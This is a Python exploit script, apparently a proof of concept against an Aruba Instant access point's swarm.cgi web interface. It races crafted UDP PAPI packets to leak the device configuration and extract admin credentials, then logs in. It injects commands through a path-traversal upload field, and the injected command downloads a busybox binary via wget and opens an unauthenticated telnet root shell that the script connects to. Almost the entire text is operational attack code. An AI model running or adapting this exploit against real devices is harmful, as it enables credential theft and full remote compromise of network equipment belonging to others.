1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 |
import socket import sys import struct import time import threading import urllib3 import re import telnetlib import xml.etree.ElementTree as ET import requests urllib3.disable_warnings() CONTINUE_RACE = True SNPRINTF_CREATEFILE_MAX_LENGTH = 245 def race_papi_message(ip): global CONTINUE_RACE payload = b"\x49\x72" payload += b"\x00\x03" payload += b"\x7F\x00\x00\x01" payload += b"\x7F\x00\x00\x01" payload += b"\x00\x00" payload += b"\x00\x00" payload += b"\x3B\x7E" payload += b"\x41\x41" payload += b"\x04\x22" payload += b"\x00\x00" payload += b"\x02\x00" payload += b"\x00\x00" payload += b"\x00" * 12 * 4 text_to_send = bytes() for i in "msg_ref 3000 /tmp/cfg-plaintext\x00": text_to_send += struct.pack("B", int(ord(i)) ^ 0x93) packet = payload + text_to_send while CONTINUE_RACE: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((ip, 8211)) s.send(packet) s.close() time.sleep(0.004) def find_credentials(text): res = re.search("mgmt-user .*", text)[0] res = res.split(" ") return (res[1], res[2]) def login(ip, username, password): login_data = { "opcode": "login", "user": username, "passwd": password, "refresh": "false", } res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False) root = ET.fromstring(res.text) return root.find("./data[@name='sid']").text def create_directory(ip, sid): request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid) res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False) if "/tmp/oper_" in res.text: print("[+] Successfully created /tmp/oper_/ directory :)") return True else: print("[-] Failed creating /tmp/oper_/ directory") return False def prepare_upload_id(command): base_payload = "/../../etc/httpd/" cmd_len = len(command) padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8# for the .gz at the end and the '; + spaces if padding_len < 0: print("[-] Command too long length:{}".format(padding_len)) exit(1) return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command) def create_file(ip, command): upload_id = prepare_upload_id(command) requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False) def run_command(ip, command): print("[*] Executing telnet") command = command.replace("?", "%3F") command = command.replace("#", "\\\\x23") s = requests.Session() req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command)) prep = req.prepare() response = s.send(prep, verify=False) return response.text def build_command(command): command = command.replace("/", "\\\\x2F") command = command.replace("#", "\\\\x23") command = command.replace("\"", "\\\"") command = command.replace("<code>", "</code>") final_command = "echo -e \"{}\"|sh".format(command) return final_command def telnet_connect(router_ip): print("[*] Connecting to telnet") with telnetlib.Telnet(router_ip, 22222) as tn: tn.write(b"rm /etc/httpd/A*sh*.gz\n") tn.interact() def main(): global CONTINUE_RACE ip = sys.argv[1] print("[*] Starting the PAPI race thread") papi_thread = threading.Thread(target=race_papi_message, args=(ip, )) papi_thread.start() while CONTINUE_RACE: time.sleep(0.1) res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False) if "version" in res.text: print("[+] Successfully leaked the password from config") CONTINUE_RACE = False file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0] user, password = find_credentials(file_content) print("[+] Successfully extracted username: {} and password: {}".format(user, password)) sid = login(ip, user, password) print("[*] SID generated: {}".format(sid)) command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh""" final_command = build_command(command) if not create_directory(ip, sid): return print("[*] Creating malicious file in /etc/httpd/") create_file(ip, final_command) print(run_command(ip, final_command)) time.sleep(1) # Sleeping waiting for telnet. telnet_connect(ip) if __name__ == "__main__": main() |